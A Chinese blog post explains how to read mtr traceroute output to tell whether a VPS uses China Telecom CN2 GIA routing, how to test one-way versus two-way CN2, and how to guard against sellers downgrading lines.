Tue Oct 17 22:42:25 2017HOST: test.example.org Loss% Snt Last Avg Best Wrst StDev1.|-- 103.86.xx.1 0.0% 10 28.0 13.4 3.1 42.0 12.22.|-- 118.184.22.61 0.0% 10 1.0 1.2 0.8 2.3 0.33.|-- 59.43.182.102 0.0% 10 144.7 147.8 144.6 176.0 9.94.|-- 59.43.187.109 80.0% 10 146.2 146.2 146.2 146.2 0.05.|-- 59.43.130.145 0.0% 10 146.6 154.1 146.6 212.0 20.66.|-- 59.43.19.138 0.0% 10 164.0 164.1 164.0 164.1 0.07.|-- 59.43.134.54 0.0% 10 178.0 173.4 167.0 194.4 8.68.|-- ??? 100.0 10 0.0 0.0 0.0 0.0 0.09.|-- 220.173.118.215 10.0% 10 209.5 201.4 190.1 229.3 14.6从路由路径可以看出,路由的跳数相对较少,并且经过了59.43..开头的节点,而并没有经过202.97开头的节点,此承载网络类型为CN2 GIA线路。不喜欢搞命令行,这里还有一个https://www.ipip.net/traceroute.php在线的测试地址,可以直接在网页上测试路由,也挺直观的。机房的地理位置同等重要这个道理很简单的,香港和台湾的机房,如果线路不饶的话,其普通163线路的ip,也是非常快的。洛杉矶CN2 GIT的线路,ping值大概是150ms。但是香港的机房,线路可以低到30ms左右。单向CN2与双向CN2在测试网络线时,最好同时测试去程和回程的线路。这样可以分辨是双向CN2,还是单向CN2。双向毫无疑问会更贵一些。去程的测试很简单,直接本地mtr ip地址即可。回程测试,需要登陆服务器,然后在服务器上mtr 本地的一些ip地址。一些商家可能会在骗钱后调整线路经常会看到一些无良商家,打着优质线路然后价格低廉的旗号骗了一帮善良的老百姓。要么跑路,要么等资源卖的差不多了,就悄悄的把优质的CN2线路调整为普通的163线路。对于这种情况,一个比较好的策略是买VPS的时候月付。像谷歌和亚马逊这种大公司,也有因为政策的原因调整线路的可能性,所以大家还是小心点吧。中国电信CN2不仅仅只有洛杉矶欧洲也有一些机房,拥有双向CN2的线路。不是只有洛杉矶有哦,这里提醒大家一下。
2020年03月17日
70 阅读
0 评论
0 点赞
1
...
35
36
37